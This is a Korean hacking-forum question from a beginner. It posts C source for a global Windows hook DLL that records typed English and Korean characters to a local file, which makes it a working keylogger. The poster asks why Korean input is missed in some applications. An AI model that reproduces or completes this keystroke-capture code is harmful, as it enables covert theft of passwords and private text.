시스템 해킹

 1576, 1/79 회원가입  로그인  
   jgbag30
   키보드 후킹 관련 질문 ㅜㅜ

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1502 [복사]


#include <windows.h>
#include <stdio.h>
#include <imm.h>



//걍만든함수
void FilePrint(char* filepath, LPCVOID lpstr, DWORD strlen) //(경로, 문자열포인터, 길이)받아서 메모장에 저장
{
        HANDLE hFile;
        DWORD dwWrite;    // 텍스트를 저장하기위한 변수

        hFile = CreateFile(filepath,
                        GENERIC_WRITE,
                        0,
                        NULL,
                        OPEN_ALWAYS,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL);
        SetFilePointer(hFile, 0, 0, FILE_END);
        WriteFile(hFile, lpstr, strlen, &dwWrite, NULL);//&((MSG*)lp)->wParam
        CloseHandle(hFile);
}


//dll 본체
__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
        if(nCode < 0) return true;

        static unsigned char Cstr[3] = {0,};      // 조합중인 문자!!
        int len;                     
        HIMC m_hIMC=NULL;   // IME 핸들

        
        
        switch (((MSG*)lp)->message)
        {
        case WM_IME_COMPOSITION:        //한글입력
        {
                m_hIMC = ImmGetContext(((MSG*)lp)->hwnd);        // ime핸들을 얻는것
                
                if (((MSG*)lp)->lParam & GCS_RESULTSTR)
                {
                        if ((len = ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, NULL, 0)) > 0)
                        {
                                // 완성된 글자가 있다.
                                ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, Cstr, len);
                                Cstr[3] = 0;                                
                                len = 0;

                                FilePrint("c:\\test.txt", Cstr, 2);
                        
                        }
                        
                }
                
        ImmReleaseContext(((MSG*)lp)->hwnd, m_hIMC);        // IME 핸들 반환!!
        }
        break;


        case (long)WM_CHAR: //영문밑숫자 입력

        {
                if( 31 < ((MSG*)lp)->wParam && ((MSG*)lp)->wParam < 128)                 
                                {
                        FilePrint("c:\\test.txt", &((MSG*)lp)->wParam, 1);
                }
        }
        break;

        }
        

        
        
        return true;

}


=====================================================================

키보드 후킹 관련해서 짜고있는 dll입니다.(전역후킹)
궁금한게 몇가지 잇는데요.
((MSG*)lp)->wParam에는 유니코드 문자가 들어오는것 같고
ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, Cstr, len); 이 함수를 쓰면
Cstr에 멀티바이트코드가 들어가는 것 같은데요.

1.그럼 한글을 쓸 때 ImmGetCompositionString함수는 m_hIMC에 들어있는 정보를 통해서
((MSG*)lp)->wParam에 들어있는 유니코드를 멀티바이트로 바꿔주는건가요?

2.메모장에 저장("c:\\test.txt")하면 멀티바이트코드만 한글로표시 가능하고 한글유니코드는 표시를 못하는데요. 메모장 자체를 코드에서 유니코드인코딩 형식으로 저장할 수 있을까요? 그리고 그러면 한글유니코드가 표시될까요?

3.(가장 궁금한거..)이 후킹 프로그램을 실행하고 다른 (후킹된)메모장에서 글씨를 쓰면 한글,영문,숫자 다 입력되서  메모장("c:\\test.txt")에 잘 저장됩니다. 그런데 (후킹된)인터넷이나 (후킹된)아래한글 같은 데서는 영문,숫자는 잘 저장되는데 한글은 안됩니다. 왜그럴까요?


생초보라 물어볼곳도 없고, 몰라서 지쳐쓰러지겟습니다.ㅜㅜ
여유로우신 고수님들의 가르침을 부탁드릴게요.



  Hit : 5245     Date : 2011/07/14 12:02